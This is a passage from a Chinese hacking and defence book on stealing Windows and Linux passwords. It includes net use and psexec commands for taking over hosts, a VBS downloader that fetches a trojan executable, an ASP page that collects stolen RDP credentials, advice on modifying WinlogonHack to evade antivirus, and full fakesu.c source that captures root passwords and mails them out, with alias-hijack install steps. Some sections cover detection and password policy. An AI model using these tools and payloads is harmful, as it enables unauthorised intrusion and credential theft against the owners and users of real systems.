Windows口令扫描攻击主要针对某个IP地址或者网段进口令扫描，其实质是通过139、445等端口尝试建立连接，利用的是DOS命令“net use \\ipaddress\admin$ "password" /u:user”，只不过是通过程序实现而已。本节给出一个使用扫描软件NTscan扫描口令，得到口令后成功实施控制的案例。

1.12.1 设置NTscan

直接运行NTscan。在NTscan中，一般只需要设置开始IP地址和结束IP地址，其他均采用默认设置，如图1-67所示。

图1-67 设置NTscan

说明

（1）如果是在肉机上进行口令扫描，由于语言版本不同，若操作系统不支持中文，就有可能显示乱码，这时只能凭借对系统的熟悉程度进行设置。本例是在英文操作系统中使用NTscan，在其运行界面上一些汉字会显示为“?”，但不影响扫描，如图1-68所示。

图1-68 NTscan显示乱码

（2）在NTscan中有IPC、SMB和WMI共3种扫描方式。IPC和WMI方式扫描口令较为有效，SMB方式主要用来扫描共享文件。通过IPC方式，可以与目标主机建立一个空的连接而无须用户名和密码，还可以得到目标主机上的用户列表。SMB（服务器信息块）协议是一种IBM协议，用于在计算机之间共享文件、打印机、串口等。SMB协议可以用在因特网TCP/IP协议之上，也可以用在其他网络协议（如IPX和NetBEUI）之上。

（3）WMI（Windows管理规范）是Windows管理技术中的一项核心技术。作为一种规范和基础结构，通过WMI可以访问、配置、管理和监视几乎所有的Windows资源。例如，在远程计算机上启动一个进程，设定一个在特定日期和时间运行的进程，远程启动计算机，获得本地或远程计算机的已安装程序列表，查询本地或远程计算机的Windows事件日志等。一般情况下，可以在本地计算机上执行的WMI操作，也可以在远程计算机上执行，只要用户拥有该计算机的管理员权限即可。如果用户对远程计算机拥有权限，并且远程计算机支持远程访问，那么用户就可以连接该远程计算机并执行拥有相应权限的操作。

1.12.2 执行扫描

在NTscan运行界面上单击“开始”按钮（如果显示为乱码，如图1-67所示，单击位于左侧设置区下方的第1个按钮），开始扫描，如图1-69所示。

图1-69 扫描口令

说明

（1）NTscan扫描口令与字典有关，其原理就是将字典中的口令与实际口令进行对比，如果相同就可以建立连接，即破解成功。破解成功后会在NTscan窗口下方显示提示信息。

（2）NTscan的字典文件为NT_pass.dic，用户文件为NT_user.dic。可以根据实际情况对字典文件和用户文件的内容进行修改。

（3）NTscan扫描结束后，会在NTscan程序当前目录下生成一个NTscan.txt文件。在该文件中会记录扫描结果，如图1-70所示。

图1-70 NTscan扫描记录

（4）在NTscan中还有一些辅助功能，如单击鼠标右键后可以执行“cmd”命令，单击鼠标左键后可以执行“连接”、“打开远程登录”、“映射网络驱动器”等命令，如图1-71所示。

图1-71 NTscan辅助功能

1.12.3 实施控制

在DOS命令提示符下输入命令“net use \\221.*.*.*\admin$ "mrs6100"/u:administrator”，获取主机的管理员权限。如图1-72所示，命令执行成功。

图1-72 获取管理员权限

1.12.4 执行psexec命令

执行“psexec \\221.*.*.* cmd”命令，获取一个DOSShell，如图1-73所示。

图1-73 获取DOS下的Shell

说明

（1）以上两步可以合并，直接在DOS命令提示符下输入命令“psexec \\ipaddress -u administrator -ppassword cmd”即可。例如，在上例中可以输入“psexec \\221.*.*.* -u Administrator -pmrs6100 cmd”命令来获取一个DOSShell。

（2）在某些情况下，“psexec \\ipaddress -u administrator -ppassword cmd”命令无法正常执行。

1.12.5 远程查看被入侵计算机的端口开放情况

使用“sfind -p 221.*.*.*”命令依次查看远程主机端口的开放情况。第1台主机仅开放了4899端口，第2台主机开放了80和4899端口，第3台主机开放了3389端口，如图1-74所示。

图1-74 查看端口开放情况

1.12.6 上传文件

在该DOSShell下执行文件下载命令，将一些工具软件或者木马上传到被入侵计算机中，如图1-75所示。

图1-75 上传文件

说明

（1）可以使用以下VBS脚本命令上传文件。

echo with wscript:if .arguments.count^<2 then .quit:end if >dl.vbe
echo set aso=.createobject("adodb.stream"):set web=createobject
("microsoft.xmlhttp") >>dl.vbe
echo web.open "get",.arguments(0),0:web.send:if web.status^>200 then
quit >>dl.vbe
echo aso.type=1:aso.open:aso.write web.responsebody:aso.savetofile.arguments(1),
2:end with >>dl.vbe
cscript dl.vbe http://www.mymuma.com/software/systeminfo.exe systeminfo.exe

（2）如果不能通过执行VBS脚本上传文件，则可以通过执行FTP命令上传文件。FTP命令如下。

echo open 192.168.1.1 >b
echo ftp>>b
echo ftp>>b
echo bin>>b
echo get systeminfo.exe >>b
echo bye >>b
ftp -s:b

（3）上传文件时，建议先使用“dir filename”命令查看文件是否存在。上传文件后，再通过“dir filename”命令查看文件是否上传成功。

1.12.7 查看主机的基本信息

执行“systeminfo info”命令可以查看被入侵计算机的基本信息。该计算机的操作系统为Windows 2000 Professional，如图1-76所示。

图1-76 查看主机的基本信息

1.13 使用WinlogonHack获取系统密码

在网络安全事件频发的今天，很多人都在抱怨：为什么我的系统被入侵了，我的主页被修改了？在被入侵后，我采取了一些安全加固措施，可是没过几天又发现系统被入侵了！分析其根本原因，就是系统存在安全隐患，可能是没有彻底清除系统后门，可能是系统的密码一直都掌握在黑客手中。下面将全面分析远程终端密码的获取和防范。

1.13.1 远程终端密码泄露分析

下面介绍远程终端密码泄露分析的相关内容。

1.远程终端技术App

大型企业一般都部署了远程终端，微软的服务器操作系统Windows 2008 Server更是重点打造了远程终端。远程终端技术App是Windows Server 2008中新的远程应用演示方法，在一些远程连接参数上进行了调整，增加了新的功能，据说其性能也有较大提高。

2.远程终端密码泄露分析

在大型网络中，由于网络环境复杂，因此服务器之间往往通过远程终端进行维护和管理。这种管理在方向上不太固定，多数是发散式的，有的通过一台主机登录多台主机，有的通过多台主机登录一台主机，还有的可能出现交叉登录的情况。黑客在入侵网络中的主机后，肯定会想办法收集网络内部或者与外部独立主机之间进行远程终端登录的用户名和密码，收集方法不外乎以下3种。

使用GetHashes、Pwdump等工具获取系统的Hash密码值，然后通过LC5及彩虹表进行破解，破解成功后得到系统密码，这些密码极有可能是远程终端的密码。

在被控制计算机上安装键盘记录，通过键盘记录获取用户在登录3389远程终端过程中所输入的用户名和密码。这种方法有一定的限制，键盘记录在远程终端窗口最大化时有可能无法记录远程终端的登录密码。

使用WinlogonHack截取远程登录时输入的正确密码（本节要重点介绍的部分）。

当然，除了以上3种方法外，还有其他一些密码泄露途径。

1.13.2 WinlogonHack获取密码的原理

WinlogonHack截取密码的原理介绍如下。

1.gina.dll与msgina.dll

gina.dll在Windows NT/2000中的交互式登录支持由winlogon.exe调用gina.dll实现。gina.dll的交互式界面为用户登录提供认证请求。winlogon.exe与gina.dll进行交互，默认是msgina.dll（在system32目录下）。微软提供了接口，让开发人员自己编写gina.dll来代替msgina.dll。

不知道出于什么原因，gina.dll在Windows XP及后续版本中不再出现，原来的gina.dll改为msgina.dll（“ms”表示微软）。

msgina.dll在Windows XP系统中默认为967 680字节（945KB），在Windows 2003中为1 180 672字节（1 153KB）。若文件大小出入较大，则可能存在问题。

2.msgina.dll文件被破坏或修改将导致严重错误

在DLL知识库（http://www.dofile.com/dlllibrary/msgina/）中是这样描述的：msgina.dll是Windows登录认证策略相关模块，该模块用于完成所有用户的登录和验证功能，如果系统中的这个文件被修改或者破坏，将导致系统无法使用3389端口进行登录。如图1-77所示，这个系统的msgina.dll文件就被破坏了，从而导致用户无法远程登录3389终端服务器。

图1-77 msgina.dll 被破坏或修改导致无法登录远程终端

3.WinlogonHack截取密码的原理

WinlogonHack通过挂钩系统中msgina.dll的WlxLoggedOutSAS函数记录登录的账户密码。WinLogonHack初始化时会创建如下3个桌面。

Winlogon桌面：主要显示“Windows安全”等界面，如按下“Ctrl+Alt+Del”快捷键所看到的登录界面等。

应用程序桌面：我们平时见到的有“我的电脑”图标的界面。

屏幕保护桌面：屏幕保护显示界面。

默认情况下，gina.dll或者msgina.dll用于显示登录对话框，用户可以输入用户名和密码。所以，要想获得用户名和密码，可以写一个新的gina.dll或者msgina.dll，其中提供接口调用msgina.dll的函数是WlxLoggedOutSAS。启动就用winlogon.exe通知包，当有3389连上服务器时，新建的winlogon.exe会在登录前加载，注册了“Startup”的DLLHook了函数。登录成功后，会将密码记录到boot.dat文件中，并取消Hook。退出3389终端后，即可将DLL文件删除。在实现时，只要获取msgina.dll中WlxLoggedOutSAS函数的前5字节即可，示例如下。

mov edi,edi
push ebp
mov ebp,esp

1.13.3 使用WinlogonHack获取密码实例

使用WinlogonHack之前，可以使用Gina木马获取Windows 2000中的密码。WinlogonHack主要用于截取Windows XP及Windows 2003 Server。

1.执行install.bat安装脚本

一种方法是将WinlogonHack的安装程序文件hookmsgina.dll、install.bat、on.reg、readlog.bat复制到同一个文件夹下，在DOS提示符或GUI界面直接运行install.bat。执行完毕不需要重启，当有3389终端登录时，会自动加载DLL文件并记录登录密码。密码保存在系统system32目录的boot.dat文件中。

另一种方法是将所有文件都放在同一个文件夹中，然后执行install命令，如图1-78所示是WinlogonHack正确安装的一些提示。

图1-78 远程安装WinlogonHack获取3389登录密码

2.查看密码记录

可以直接打开boot.dat文件查看，也可以运行readlog.bat脚本，然后将密码文件移动到当前目录中查看。本例中的操作系统是Windows 2003 Server，直接通过Radmin的Telnet，然后执行“dir boot.dat /a”命令，查看是否有人进行了远程登录。如图1-79所示，boot.dat文件的大小为5 762字节——有货！使用“type boot.dat”命令可以看到记录的登录时间、用户、域名、密码及旧密码（出现两个密码主要用于用户更改了密码的情况）。

图1-79 查看密码记录文件boot.dat

3.卸载WinlogonHack

运行uninstall.bat文件即可自动卸载该程序。如果“%systemroot%\system32\ wminotify.dll”文件未能删除，可以重启后再将其删除。

1.13.4 WinlogonHack攻击与防范方法探讨

下面我们讨论WinlogonHack的攻击和防范方法。

1.攻击方法探讨

（1）定制化开发

WinlogonHack的代码是开源的，因此，入侵者可以定制它，即在“lstrcat(LogPath, "\\boot.dat");”语句中将“boot.dat”换成任意一个文件。执行WinlogonHack后，一般人员很难发觉。入侵者还可以在此基础上增加一个邮件发送功能，将记录下来的3389远程终端用户名和密码发送到指定的邮箱，笔者在安全加固过程中就曾经碰到具有这种功能的3389密码截取木马。

（2）对WinlogonHack软件进行免杀处理

图1-80 杀毒软件会自动查杀wminotify.dll文件

由于WinlogonHack在网络入侵中扮演了一个重要的辅助角色，所以一些杀毒软件会自动查杀wminotify.dll文件。如图1-80所示，笔者在做实验时，avast! 杀毒软件就能将其查出，并作为病毒处理。因此，可以通过增加花指令、修改特征码等方法修改wminotify.dll文件，使其能够绕过杀毒软件。

（3）WinlogonHack在攻击中的应用

WinlogonHack主要用于截取3389登录密码，因此，在被入侵计算机上运行MSTSC后，如果发现MSTSC的“计算机”列表中出现多个登录IP地址，如图1-81所示，那么该计算机就有安装WinlogonHack的必要，从而记录在服务器上管理员所登录的3389用户名和密码。

图1-81 获取3389登录地址列表

2.防范方法探讨

在系统目录中查找“wminotify.dll”文件，如果这个文件存在，则说明系统中一定安装了WinlogonHack。可以通过登录一个3389终端测试系统目录下是否存在boot.dat文件，如果存在，则可以尝试使用uninstall.bat批处理文件卸载它；如果不能卸载，可以重启后再次卸载。

到注册表的HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\ CurrentVersion\Winlogon\Notify\wminotify键值下查看，如果存在，则将其删除。

定制的WinlogonHack比较难根除，一个较好的办法是在安全状态下进行一次系统文件名称列表备份。这样，以后每次检测系统时，会比较系统目前状态下文件列表的异同。

如果使用3389远程终端登录多台服务器进行管理，最好在管理完毕后及时清除3389登录地址列表。

定期杀毒。杀毒软件在一定程度上能够防范一些已知病毒，因此，要勤杀毒、勤看日志，在确认系统被入侵后一定要仔细、彻底地进行安全检测。

1.13.5 使用WinlogonHack自动获取密码并发送到指定网站

使用WinlogonHack自动获取密码并发送到指定网站的步骤如下。

01 配置Winlogon劫持记录3389密码生成器

互联网上有很多Winlogon劫持记录3389密码生成器，如图1-82所示。运行其配置程序，在“收密码地”文本框中输入地址，如“http://www.asm32.com/post.asp”，其中post.asp为密码接收文件。单击“生成”按钮，会在当前目录下生成一个EXE文件，该文件中包含WinlogonHack的所有安装文件。

图1-82 配置接收文件地址

02 上传密码接收文件

将以下代码保存为3389.asp，并将其放在一个可以访问的网站目录下，同时必须让3389.asp具有写文件权限。

<%
  Dim   ValidEntry
   ValidEntry   =   True
  If   not   IsEmpty(Session("LogIn"))   then   ValidEntry   =   False
  If   ValidEntry   Then
  Const   ForAppending   =   8
  Const   Create   =   true
  Dim   FSO
  DIM   TS
  DIM   MyFileName
  'Dim   strLog
  Dim   strTime,strUrl,strOporation,strUserAgent
  MyFileName   =   Server.MapPath("myIP.txt")
  Set   FSO   =   Server.CreateObject("Scripting.FileSystemObject")
  Set   TS   =   FSO.OpenTextFile(MyFileName,   ForAppending,   Create)
 strUrl=Request.ServerVariables("REMOTE_ADDR")   &amp;   "   "
  Ts.writeline   "----分割线----"
  Ts.writeline   "服务器IP："&amp;strUrl
  Session("LogIn")   =   "yes"
  Set   TS   =   Nothing
  Set   FSO   =   Nothing
  End   If
num=request("user")
pass=request("pass")
hxip=request("ip")
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("IP.txt"),8,True)
if hxip <>"" then
file.writeline num+"----"+pass+"----ip:"+hxip
else
file.writeline num+"----"+pass
end if
file.close
set file=nothing
set fs=nothing
%>

03 查看本地密码记录文件

在测试服务器上执行EXE文件。需要特别注意的是，由于网上的软件有可能捆绑了木马程序，所以所有生成的EXE文件最好在虚拟机上运行，这样做不会破坏实体机。执行EXE文件后，需要打开mstsc.exe（即远程终端），登录127.0.0.1。登录成功后，在c:\windows\system32\ 目录下运行“dir /od”命令，即可看到Winlogon劫持记录3389密码工具软件释放的4个程序，分别是install.bat、wminotify.dll、On.reg和wpa.dbl。使用“type boot.dat”命令即可查看所记录的密码及发送记录，如图1-83所示。

图1-83 获取密码记录

04 查看网站记录文件

访问网页记录文件所在的服务器，直接打开ip.txt文件，或者访问类似于“http:// www.antian365.com/ip.txt”的地址。如图1-84所示，文件中记录了远程终端服务器的IP地址、用户名及密码信息。

图1-84 查看网站密码记录文件

1.14 检查计算机账号克隆情况

随着个人计算机安全意识的提高，网络木马程序的生命周期越来越短，如果要使木马软件实现免杀，必须掌握软件加壳、修改特征码等技术。对于网络上的计算机，特别是网络服务器，被成功控制以后，对账号进行克隆基本上已经成为入侵者的习惯。在系统管理员更改系统账号以后，使用克隆用户账号登录并重新控制系统是一个非常不错的选择。下面，笔者将与大家分享一些维护网络服务器的经验，共保服务器安全。

计算机的常规检查主要通过依次单击“我的电脑”→“管理”→“计算机管理”→“本地用户与组”选项实施，检查管理员组中是否存在多余账号及是否存在多个用户账号。

1.14.1 检查用户

操作系统中默认存在administrator用户及其他用户，如本例中的“simeon”，以及启动IIS进程账户、Internet来宾账号等，如图1-85所示。这些账号往往与系统中提供的服务或者安装的软件有关。如果在检查过程中发现了多余的账号，则极有可能是入侵者添加的。

图1-85 检查用户账号

1.14.2 检查组

任何用户账号都必须属于一个组。在安全检查中，需要特别注意Administrators组，这个组是具有管理员权限的组。在“计算机管理”窗口双击“组”中的“Administrators”，即可查看其中是否存在多余的管理员账号，如图1-86所示。

图1-86 管理员组账号检查

说明

（1）对账号的检查也可以在DOS提示符下实现。依次单击“开始”→“运行”，输入“cmd”或者“command”命令，进入DOS提示符窗口，然后输入“net user”查看系统中的所有用户，输入“net localgroup administrators”查看管理员组，如图1-87所示。可以通过“net user username /delete”命令删除用户。

图1-87 在DOS窗口查看用户和管理员信息

（2）如果入侵者在添加账号时在账号末尾加上了“$”符号，那么在使用“net user”命令查看用户时，以“$”结束的用户名不会显示。这种账号只能通过图形界面查看。

在系统中添加的非克隆账号，可以通过常规检查找出。但是，如果入侵者在系统中对账号进行了克隆（通常是克隆系统中已经存在账号），如克隆aspnet、TsInternetuser、Guest等账号，那么通过“net user”、“net localgroup administrators”命令及图形界面都无法查出。如果计算机开放了远程终端或安装了pcAnywhere等工具，入侵者就可以通过这些账号正常访问系统了。非常规检查主要通过工具软件Mt或本地管理员检测工具进行。Mt只能运行在DOS环境中，而本地管理员检测工具是图形界面，功能相对少一些。由于Mt功能强大，目前很多杀毒软件都把它列为黑客工具进行查杀。

1.14.3 使用Mt进行检查

Mt提供了很多功能，使用时要求权限为system，在Windows XP中可能会提示权限不够而无法使用。在DOS窗口或者其他管理软件的Telnet窗口输入命令“mt”，即可查看详细的命令说明。本节只使用“mt -chkuser”命令。如图1-88所示，检查系统克隆账号，输入命令后会在屏幕上输出结果。主要查看ExpectedSID和CheckedSID，如果这两个值不一样，就说明账号被克隆了。可以看到，simeon$ 账号的CheckedSID和Administrator账号的CheckedSID值一样，说明simeon$账号克隆了Administrator账号。

图1-88 检查克隆账号

1.14.4 使用本地管理员检测工具进行检查

直接运行本地管理员检测工具，程序会自动显示系统中存在的账号，并给出相应的提示，提示信息通常为“影子管理员？”，如图1-89所示。

图1-89 使用本地管理员检测工具检查克隆账号

如果计算机提供3389远程终端服务或者安装了pcAnywhere等远程控制工具，就需要定期检查系统用户账号。一旦发现克隆账号，就说明系统的安全风险非常大，单独删除克隆账号意义不大。建议使用系统备份进行恢复，并更改系统中所有账号的密码。

1.15 安全设置操作系统的密码

很多黑客都是从破解系统口令入门的，因此，安全设置系统口令在网络攻防过程尤为重要。即使入侵者获取了系统的密码，但由于破解密码需要花费的时间成本太高，往往会放弃。设定系统口令时，大部分用户都会使用自己熟悉的单词，或者其他习惯使用的数字，如电话号码、生日等，这样做在便于记忆的同时，也悄悄为入侵者打开了方便之门。

1.15.1 系统密码安全隐患与现状

首先我们讨论一下系统密码的安全隐患及现状。

1.口令设置上的漏洞

中国杀毒网记载了一个有趣的心理试验：随机抽出100名在校大学生，要求他们分别写下两个单词，并告诉他们这两个单词是用于计算机的口令，非常重要，且将来的使用率也很高，要求他们尽量慎重考虑，结果却出人意料。

用自己的中文拼音者最多，有37人。

用常用英文单词者有23人，其中许多人都用了具有特定意义的单词，如hello、good、anything、happy等。

用计算机中经常出现的单词者有18人，这些单词中包括操作系统的常用命令，如system、command、copy、harddisk、mouse等。

用自己的出生日期者有7人，其中年、月、日各不相同，但有3人使用了中国常用的日期表示方法。

上述测试中，两个单词相同的有21人，相近的有33人。通过这些结果，如果满足字典攻击条件，使用字典攻击成功的可能性就非常高，我们称之为口令设置上的漏洞。

2.社会工程学对口令的攻击

黑客在入侵过程中会利用Google、百度等搜索引擎充分收集被攻击对象的各种资料，在攻击中这些资料将起到辅助作用。

笔者研究发现，在很多网络安全事故中，数据库服务器、FTP服务器、文件服务器、远程终端等均设置为相同的密码。利用社会工程学进行口令猜测，不但可以方便地渗透内网计算机，而且可以获取被入侵者的电子邮箱、QQ等账号所对应的密码。

3.内网渗透中对口令的攻击

内网渗透的思想源于特洛伊木马的思想。堡垒最容易从内部攻破，入侵者为了获得口令可谓煞费苦心，在他们江郎才尽的时候，打入“敌人”内部常常能柳暗花明。为了成功渗透内网，入侵者通常采用如下手段。

利用传统手法，如SQL注入、漏洞溢出等，得到一个分站的服务器权限，然后根据在分站上收集的电子邮箱信息、FTP信息、网络拓扑信息、管理员常用的管理工具等渗透主站。

通过传送具有诱惑性的木马获得内网机器的控制权限，这应该算是社会工程学与漏洞的结合。例如0day，也就是Word、PDF或IE 0day发挥作用的地方。很多人拿到IE 0day就直接挂马，其实IE 0day还有更高的价值，那就是发送邮件，如果管理员被欺骗并点击了入侵者发送邮件里的URL，后果就很难预料了。BTV-7就曾介绍淘宝网发生的账号盗用事件，通过“网络钓鱼”欺骗店主在假的“淘宝网”输入用户账号和密码。

社会工程学的又一次完美诠释。通过各种手段取得内网管理员或用户的信任，获得他的信息，如QQ、电子邮箱等，抓住他的弱点，降低他的心理防线，在成熟的时候发送URL或在打包的软件里捆绑木马等，内网将又一次面临攻击。

4.暴力破解对口令的攻击

当其他道路行不通的时候，入侵者就会尝试暴力破解。对弱口令来说，暴力破解相对较容易；相反，那些设置了很多策略的强口令就需要完备的字典、性能先进的硬件和大量的时间来支持，基本上很难破解。

1.15.2 系统密码安全设置策略

系统密码安全设置策略如下。

1.通过组策略加固密码

在“开始”→“运行”窗口中输入“gpedit.msc”并按“回车”键，就可以打开“组策略”窗口，如图1-90所示。

图1-90 打开“组策略”窗口

在“组策略”窗口的左侧展开“计算机配置”→“Windows设置”→“安全设置”→“账户策略”→“密码策略”选项，在右边窗格中就会出现一系列的密码设置项。经过这里的配置，可以建立一个完备的密码策略，使密码得到最大限度的保护，如图1-91所示。

图1-91 修改密码的默认策略

（1）密码必须符合复杂性要求

如果启用了这个策略，那么在设置和更改一个密码时，系统将会按照下面的规则检查密码是否有效。

密码不能包含用户的账户名，不能包含用户姓名中超过2个连续字符的部分。

至少6个字符长。

包含以下4类字符中的3类字符：英文大写字母（A到Z）；英文小写字母（a到z）；10个基本数字（0到9）；非字母字符（如“!”、“$”、“#”、“%”）。

在更改或创建密码时将执行复杂性要求。启用了这个策略，相信密码就会比较安全了，因为系统会强制使用这种安全性较高的密码。如果在创建或修改密码时没有达到这个要求，系统会给出提示并要求重新输入符合要求的安全密码。

（2）密码长度最小值

此安全设置确定了用户账户密码的最少字符数。可以将值设置为1到14个字符，或者将字符数设置为“0”以确定不需要密码（这是系统的默认值）。从安全的角度考虑，允许不需要密码的用户存在是非常危险的。建议密码长度不小于6位。

（3）密码最长存留期

此安全设置确定在系统要求用户更改某个密码之前可以使用该密码的期间（以天为单位）。可以将密码设置为在某些天数（1到999）后到期，或者将天数设置为0（密码永不过期）。如果密码最长使用期限介于1到999天，密码最短使用期限必须小于密码最长使用期限。如果将密码最长使用期限设置为0，则可以将密码最短使用期限设置为0到998天之间的任何值。

注意

最佳操作是将密码设置为30到90天后过期，具体取决于用户的环境。这样，攻击者用来破解用户密码及访问网络资源的时间将受到限制。

（4）强制密码历史

这个设置决定了保存用户曾经用过的密码个数。很多人都知道经常更换密码是个好方法，这样可以提高密码的安全性，但由于个人习惯，更换的常常是有限的几个密码。配置这个策略可以让系统记住用户曾经使用的密码，如果更换的新密码与系统“记忆”中的重复，系统就会给出提示。默认情况下，这个策略不保存用户的密码，用户可以根据自己的习惯进行设置，建议保存5个以上（最多可以保存24个）的密码。

（5）密码最短使用期限

此安全设置确定在用户更改某个密码之前必须使用该密码一段时间（以天为单位）。可以设置一个介于1到998的值，或者将天数设置为0（允许立即更改密码）。

密码最短使用期限必须小于密码最长使用期限，除非将密码最长使用期限设置为0（密码永不过期）。如果将密码最长使用期限设置为0，则可以将密码最短使用期限设置为0到998之间的任何值。

如果希望“强制密码历史”有效，需要将密码最短使用期限设置为大于0的值。如果没有设置密码最短使用期限，用户则可以循环选择密码，直到获得期望的旧密码。默认设置没有遵从此建议，以便管理员能够为用户指定密码，然后要求用户在登录时更改由管理员定义的密码。如果将密码历史设置为0，用户将不必选择新密码。因此，默认情况下将“强制密码历史”的值设置为1。

（6）为域中所有用户使用可还原的加密来存储密码

使用此安全设置确定操作系统是否使用可还原的加密来储存密码。此策略为某些应用程序提供支持，这些应用程序使用的协议需要用户密码进行身份验证。使用可还原的加密储存密码与储存纯文本密码在本质上是相同的。因此，除非应用程序的需求比保护密码信息更重要，否则不要启用此策略。

从上面这些设置项中我们不难得到一个最为简单有效的密码安全方案，即启用“密码必须符合复杂性要求”策略，然后设置“密码最短存留期”，最后开启“强制密码历史”。设置完成后，在“控制面板”中重新设置管理员的密码，这时的密码不仅本身是安全的（不低于6位且包含不同类别的字符），而且以后修改密码时也不易出现与以前重复的情况，这样的系统密码安全性非常高。

2.密码设置技巧

密码的位数不要少于6位，笔者设置的密码为32位。最好使用大写字母、小写字母、特殊符号和数字的集合。

不要以任何单词、生日、数字、手机号、姓名或者拼音字母作为密码。

密码中的英文字母最好既有大写也有小写。

不要用a、b、c等比较小顺序的字母或数字开头，因为字典暴力破解一般都是从数字或英文字母排序开始的，字母或数字顺序越小，破解机率就越高。

可以用一句话来设置密码，如“我是谁，我是我”。

不要让别人很容易地得到你的信息，包括身份证号码、电话号码、手机号码等。

定期更改密码。

不要把密码写在别人可以看到的地方，最好记在脑子里，更不能把自己的密码告诉别人（这样对自己、对别人都是不负责任的）。

1.15.3 系统密码安全检查与防护

下面讨论系统密码安全检查与防护的常用手段。

1.用户与密码检测

要经常查看系统的用户是否正常，是否被添加了新的用户或者被提升了权限。

在“开始”→“运行”窗口中输入“cmd”并按“回车”键，在窗口中输入命令“net user”查看是否被添加了新用户，然后输入命令“net localgroup administrators”查看是否有用户被提升了管理员权限。如图1-92所示，在本例中仅存在一个管理员Administrator。如果存在多个具有管理员权限的用户，则说明系统极有可能被人入侵了。

图1-92 查看管理员组中的用户

2.系统用户登录日志检测

日志文件作为操作系统中的一个特殊文件，在安全方面具有无可替代的价值。它每天都为我们忠实地记录系统中发生的一切事件，利用它可以快速对潜在的系统入侵进行记录和预测。下面介绍如何使用日志管理器来设置和查看安全事件。

01 打开日志管理器

依次单击“开始”→“程序”→“管理工具”→“事件查看器”选项，如图1-93所示。

图1-93 打开事件查看器

02 设置日志属性

如图1-94所示，在“系统 属性”对话框的“常规”选项卡中可以对日志的大小、时间进行设置，如果发现日志记录不是在这个范围内，那么系统可能就被人“闯入”，而且修改了日志。

03 使用筛选器记录日志审核结果

打开筛选器，对日志中的事件类型等进行筛选。如图1-95所示，选中所有的时间类型，这样系统中发生的事件将会自动记录在案。

图1-94 修改日志默认设置

图1-95 使用筛选器记录事件

属性设置好后，就可以查看日志了，从中我们可以发现入侵者的蛛丝马迹。为了预防入侵者对日志的破坏，我们要定期对日志进行备份，如果有需要，还可以恢复之前的日志文件。

第2章

Linux操作系统密码的获取与破解

在网络渗透过程中，经常碰到通过Struts等漏洞获取WebShell及系统最高管理root权限的情况。但由于操作系统设置了强悍的密码策略等，即使入侵者获取了shadow文件中的root密码加密值，也会因为Linux密码较难破解而放弃。

本章着重介绍Linux操作系统密码的获取与破解，并通过实际案例图文并茂地展现其过程，使读者看完这些案例就能很快上手。

本章主要内容

使用fakesu记录root用户的密码

暴力破解工具Hydra

Linux操作系统root账号密码的获取

安全设置Linux操作系统的密码

Linux OpenSSH后门获取root密码

2.1 使用fakesu记录root用户的密码

在Linux渗透中，比较容易获取服务器上网站的WebShell。就目前的环境来说，Linux服务器提权比较困难。那么，如何在获取WebShell权限的情况下，通过WebShell反弹到指定了独立IP地址的服务器上，通过反弹的Shell安装程序捕获root用户的密码？本节就目前已知的记录root用户密码的方法进行探讨。

2.1.1 使用kpr-fakesu.c程序记录root用户的密码

kpr-fakesu.c程序的新版本为0.9beta167，它是由koper开发的（koper@linuxmail.org），程序代码如下。

#include <stdio.h>
#include <stdlib.h>
main(int argc, char *argv[]){
FILE *fp;
char *user;
char *pass;
char filex[100];
char clean[100];
sprintf(filex,"/var/tmp/.mail");
sprintf(clean,"rm  -rf /var/tmp/.su;mv -f /home/webshell/.wgetrc /home/
webshell/ .bash_profile");
if(argc==1) user="root";
if(argc==2) user=argv[1];
if(argc>2){
if(strcmp(argv[1], "-l")==0)
    user=argv[2];
else user=argv[1];}

fprintf(stdout,"Password: "); pass=getpass ("");
system("sleep 3");
fprintf(stdout,"su: Authentication failure\nSorry.\n");

if ((fp=fopen(filex,"w")) != NULL)
   {
   fprintf(fp, "%s:%s\n", user, pass);
   fclose(fp);
   }

system(clean);
system("rm -rf /var/tmp/.su; ln -s /bin/su /var/tmp/.su");

system("uname -a >> /var/tmp/.mail; cat /var/tmp/.mail | mail
admin@antian365.com");

}

2.1.2 运行前必须修改程序

运行该程序前，必须对程序进行修改，否则即使执行该程序也不会得到结果。在上面的程序代码中有3个地方需要修改，具体如下。

（1）修改密码记录的文件名称

在代码中修改sprintf(filex,"/var/tmp/.mail")函数。在该函数中默认生成的密码记录文件的后缀是“.mail”，可以将“.mail”修改为任意文件后缀（以上代码中共有3处需要修改，一定要将这3处全部修改）。

（2）修改反弹Shell主目录

将“sprintf(clean,"rm -rf/var/tmp/.su; mv -f /home/webshell/.wgetrc/home/webshell /.bash_profile");”中的“/home/webshell”修改为实际用户的主目录名称（以上代码中有2处需要修改）。

（3）修改邮件发送地址

将“system("uname -a >> /var/tmp/.mail; cat /var/tmp/.mail | mail admin@antian 365.com");”中的邮件地址修改为能够接收邮件的邮件地址。如果不需要接收邮件，可以将该行代码删除。

2.1.3 运行键盘记录程序

下面我们开始运行键盘记录程序。

01 将fakesu.c程序复制到用户目录下

如果具备SSH用户权限，可以通过SSH Secure Shell的文件传输功能将本地文件上传到服务器，如图2-1所示。如果具备WebShell权限，也可以通过WebShell将fakesu.c程序上传到服务器。如果是反弹的DOS命令提示符，则可以通过命令“wget http:// www.somesite.com/ fakesu.c”将其下载到服务器。

图2-1 将代码上传到服务器

02 再次检查代码

使用“cat fakesu.c”命令查看源程序代码，确认2.1.2节提及的3个地方都已正确修改，如图2-2所示。

图2-2 执行前检查源代码

03 执行命令

执行如下命令。

chmod 777 fakesu.c
gcc -o .su fakesu.c; rm -rf fakesu.c
mv .su /var/tmp/.su
cd ~
cp .bash_profile  .wgetrc
cp .bash_profile  .wgetrb
echo "alias su=/var/tmp/.su">>.bash_profile
logout

“Chmod 777 fakesu.c”表示使程序“fakesu.c”具有最高权限。

“gcc -o .su fakesu.c; rm -rf fakesu.c”用于编译fakesu.c程序，生成.su文件，同时彻底删除fakesu.c程序。“rm -rf”用于在Linux中彻底删除文件及目录（不管目录中是否存在文件）。

“cd ~”用于转到当前Shell的主目录。

“cp .bash_profile .wgetrb”用于将.bash_profile文件备份成.wgetrb文件。

“echo "alias su=/var/tmp/.su">>.bash_profile”用于将用户登录的su命令指向“/var/tmp/.su”命令。

“Logout”用于注销当前SSH Secure Shell登录命令。如果是反弹Shell，可以使用“exit”命令。执行命令后，如图2-3所示，编译fakesu.c程序时可能会出现警告信息“webadm.c:19:警告:赋值时将整数赋给指针，未作类型转换”，该警告信息不会影响程序的正常运行。

图2-3 执行命令

04 查看密码记录文件

